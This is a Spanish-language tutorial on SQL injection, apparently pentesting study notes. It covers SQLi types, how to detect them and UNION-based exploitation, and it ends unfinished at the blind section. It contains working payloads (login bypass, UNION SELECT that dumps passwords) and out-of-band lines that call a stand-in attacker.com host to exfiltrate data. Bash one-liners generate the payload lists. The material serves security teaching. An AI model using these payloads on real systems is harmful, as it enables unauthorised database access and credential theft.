Inyección SQL
¿Qué es?
SQL Injection (SQLi) es una vulnerabilidad de inyección que ocurre cuando una aplicación permite que entradas no confiables del usuario se incorporen directamente en una consulta SQL sin un adecuado filtrado o parametrización. Esto permite a un atacante alterar la lógica de la consulta y ejecutar comandos arbitrarios sobre la base de datos.
Impacto
El impacto varía según los permisos del usuario de base de datos y la estructura de la aplicación. Un ataque exitoso puede permitir:
Acceso no autorizado a datos confidenciales (usuarios, contraseñas, tarjetas, etc.).
Modificación o eliminación de información (violación de integridad).
Ejecución remota de comandos en el servidor si hay funciones peligrosas habilitadas (por ejemplo,
xp_cmdshell
,LOAD_FILE()
).Escalada de privilegios dentro del sistema.
Persistencia o movimiento lateral si se logra interacción con el sistema operativo.
Tipos de SQLi
Error-Based
Aprovecha errores devueltos por el servidor para extraer información
Union-Based
Usa UNION SELECT
para fusionar resultados visibles con datos arbitrarios.
Boolean-Based Blind
Evalúa condiciones lógicas (TRUE/FALSE).
Time-Based Blind
Mide el tiempo de respuesta usando funciones como SLEEP()
o WAITFOR DELAY
.
Out-of-Band (OOB)
Extrae datos usando canales externos (DNS, HTTP). Útil cuando no hay respuesta visible.
Second-Order SQL Injection
El payload malicioso no se ejecuta inmediatamente, sino que se almacena en la base de datos y se ejecuta más tarde cuando otro proceso o funcionalidad lo utiliza.
Stacked Queries Injection
Permite ejecutar múltiples consultas en una misma petición separadas por ;. Solo funciona si el motor de base de datos y el backend lo permiten.
SQLi en funciones de búsqueda o LIKE
Algunos motores permiten comodines como %, _, o expresiones regulares que se pueden manipular para modificar el resultado.
NoSQL Injection
Inyección en sistemas como MongoDB, Redis, etc., que no usan SQL pero tienen estructuras manipulables.
ORM Injection (Object-Relational Mapping)
Manipulación de consultas a través de funciones de ORM mal configuradas. Algunos ORMs construyen dinámicamente consultas SQL si el input no está controlado.
GraphQL Injection
Si el backend usa SQL internamente, los inputs no filtrados en queries GraphQL pueden inyectar SQL.
Blind Response-Based (No-Error)
Variante donde no hay errores, ni retardo, ni diferencias booleanas evidentes. Se requiere analizar cambios muy sutiles en contenido o estructura de la respuesta.
Cómo detectarlo
Puedes detectar SQLi de forma manual o automatizada. A continuación, se resumen las técnicas clave:
Pruebas manuales
Error-Based SQLi
Inyección básica con comillas:
Enviar
'
o''
, esperando errores como: You have an error in your SQL syntax, unclosed quotation mark, etc.
Union-Based SQLi
Probar con
UNION SELECT
y observar si los datos inyectados se reflejan en la respuesta (' UNION SELECT null, version()--
).
Boolean-based
Inyectar condiciones lógicas que alteren la lógica de la consulta y comparar respuestas:
' OR 1=1 --
(devuelve resultados)' OR 1=2 --
(no devuelve resultados)
Time-based
Inyectar funciones de retardo y medir el tiempo de respuesta:
'; WAITFOR DELAY '00:00:05'--
(MS SQL)' OR SLEEP(5)#
(MySQL/PostgreSQL)
Si el tiempo de respuesta se ve afectado, puede indicar ejecución de la consulta.
Out-of-band (OAST)
Usar payloads que generen peticiones DNS/HTTP a un servidor controlado por el atacante (OAST/Burp Collaborator):
'; exec master..xp_dirtree '\\attacker.com\foo'--
' OR LOAD_FILE('\\attacker.com\data') --
Second-Order SQL Injection
Por ejemplo, inyectar abc' OR '1'='1
en un campo de perfil que luego se usa en una búsqueda interna sin escapar.
Pruebas automáticas
Con el uso de herramientas como:
sqlmap
Burp Suite + extensiones (SQLiPy, Turbo Intruder).
jSQL, NoSQLMap (para entornos NoSQL).
Explotación de inyecciones SQL
Inyección SQL en WHERE
Ejemplo 1 - Funcionalidad de filtrado: Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Inyección SQL de evasión de inicio de sesión
Ejemplo 1 - Funcionalidad de inicio de sesión: Lab: SQL injection vulnerability allowing login bypass
Ataque UNION
Si una aplicación es vulnerable a inyección SQL y devuelve los resultados de las consultas en la respuesta, puedes aprovechar la cláusula UNION
para volcar información de otras tablas de la base de datos.
Este tipo de ataque permite concatenar múltiples consultas SELECT
y fusionar sus resultados en un único output, siempre que:
El número de columnas coincida.
Los tipos de datos sean compatibles por posición.
Ejemplo:
SELECT a, b FROM tabla1
UNION
SELECT c, d FROM tabla2
Devuelve un resultado combinado de dos columnas con datos de ambas tablas.
¿Qué es necesario saber antes de explotar UNION
?
UNION
?Número exacto de columnas que devuelve la consulta original.
Qué columnas son imprimibles, es decir, aceptan datos visibles (strings, números, etc.).
Una vez tengas eso, se puede inyectar, por ejemplo:
' UNION SELECT null, password FROM users--
Y obtener credenciales, tokens o lo que se encuentre en la base de datos, y tengamos permiso para obtener. Esto dependerá de los permisos del usuario de la base de datos.
Cómo identificar el número de columnas en una inyección SQL
>> ORDER BY
Inyecta cláusulas ORDER BY
incrementales y observa la respuesta:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
...
Para obtener una lista de payloads (se modifica 20 por el número de columnas que queramos probar):
for i in {1..20}; do echo "' ORDER BY "$i"--"; done > /tmp/orderby.txt
Cuando el número excede las columnas reales, la base de datos lanza un error (ej: The ORDER BY position number 4 is out of range...), se obtiene una respuesta con un código de error (ej: 500), se observan diferencias en el tamaño de respuesta u otra diferencia que permita identificar un comportamiento no esperado de la aplicación.
>> UNION
Inyecta varios NULL
y aumenta hasta que no haya error:
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
...
Para obtener una lista de payloads (se modifica 20 por el número de columnas que queramos probar):
for i in {1..20}; do echo "' UNION SELECT $(yes NULL | head -n $i | paste -sd,)--"; done > /tmp/unionselect.txt
Se usa
NULL
porque es compatible con cualquier tipo de dato, lo que evita errores por incompatibilidad.
Cómo identificar las columnas que permiten insertar texto en una inyección SQL UNION
Para ello, es necesario insertar una cadena en cada una de las columnas a probar. Por ejemplo, si el número de columnas obtenido es 3:
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--
Como el número de columnas cambia, se puede generar una lista a partir del número de columnas deseado usando el siguiente script:
#!/bin/bash
# Número de columnas totales
columnas=3 # Puedes cambiar este valor
for i in $(seq 1 $columnas); do
payload="' UNION SELECT "
for j in $(seq 1 $columnas); do
if [ "$j" -eq "$i" ]; then
payload+="'a'"
else
payload+="NULL"
fi
[ "$j" -lt "$columnas" ] && payload+=","
done
payload+="--"
echo "$payload"
done
Lo mismo, pero en oneliner:
cols=3; for i in $(seq 1 $cols); do echo "' UNION SELECT $(for j in $(seq 1 $cols); do [ $j -eq $i ] && echo -n "'a'" || echo -n "NULL"; [ $j -lt $cols ] && echo -n ","; done)--"; done
Cómo insertar múltiples valores en una misma columna
Esto es útil cuando la tabla de la consulta solo cuenta con una columna. Para ello, necesitamos concatenar varias columnas en una única columna para poder mostrar el contenido:
' UNION SELECT username || '~' || password FROM users--
Inyección a ciegas SQL booleana (Blind SQL)
PENDIENTE.
Última actualización
¿Te fue útil?